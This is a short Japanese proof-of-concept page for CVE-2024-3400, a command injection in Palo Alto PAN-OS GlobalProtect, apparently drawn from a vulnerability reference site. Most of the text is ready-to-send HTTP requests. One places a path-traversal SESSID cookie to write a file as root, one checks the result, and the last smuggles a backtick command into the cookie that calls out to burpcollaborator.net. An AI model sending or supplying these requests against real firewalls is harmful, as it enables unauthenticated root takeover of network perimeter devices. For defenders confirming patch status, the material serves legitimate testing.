
CVE-2024-3400 PAN-OS: GlobalProtect における OS コマンドインジェクションの脆弱性
CVE-2024-3400 Palo Alto OS コマンドインジェクション
ベンダー説明
Palo Alto Networks PAN-OS ソフトウェアの GlobalProtect 機能におけるコマンドインジェクションの脆弱性により、特定の PAN-OS バージョンと特定の機能構成では、認証されていない攻撃者がファイアウォール上で root 権限で任意のコードを実行できる可能性があります。
称賛は watchtowr labs 🚀
HTTP リクエスト:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
poc.txt は、root 権限でこのパス /var/appweb/sslvpndocs/global-protect/portal/images/poc.tx に作成される必要があります。
脆弱な場合、poc.txt にアクセスすると 404 の代わりに 403 が返されます。
GET /global-protect/portal/images/poc.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
テレメトリが有効である必要があります。
RCE チェックには Burp Collaborator を使用できます。
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`hostname${IFS}burpcollaborator.net `;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0